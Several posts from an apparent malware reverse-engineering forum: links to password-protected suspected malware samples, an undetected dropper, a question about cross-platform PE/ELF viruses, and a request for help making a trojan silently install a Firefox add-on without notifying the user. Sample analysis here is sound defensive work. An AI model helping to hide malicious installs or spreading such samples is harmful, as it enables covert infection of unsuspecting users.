Malware Reverse Engineering

Hello guys, Today I found this on a download. I think its a virus and I found that it is packed with Aspack. I've sent this to avira but if you can, please take a look (using an isolated virtual machine) Password: malware DO THIS ONLY IF YOU ARE EXPERIENCED. I DO NOT KNOW WHAT THIS FILE IS CAPABLE OF. malware.rar

I recently heard about w32/simile virus that was dangerous for both linux and windows. More info here. I was curious to know what the header of such a file would look like, since microsoft uses Pe headers and linux uses elf headers. How would it be possible to make it compatible with both?

I didn't look to see what this does, beyong dropping binaries and making services. It has to be rebuilt to load in olly(the dropped binaries). KIS 2010,NIS 2010,Avira 2010 didn't detect with high heuristics. It's all ring 3 dfgdfgdgdgf.zip

Good day, I am creating a small trojan and encountered one problem. The trojan installs an addon for FF and the problem is - FF notifies user about it, spitting out window with "New addons installed". Any ideas how to bypass it, at least a hint, please? I've googled it and searched in Mozilla support forums, but for obvious reasons, nobody is keen on answering it
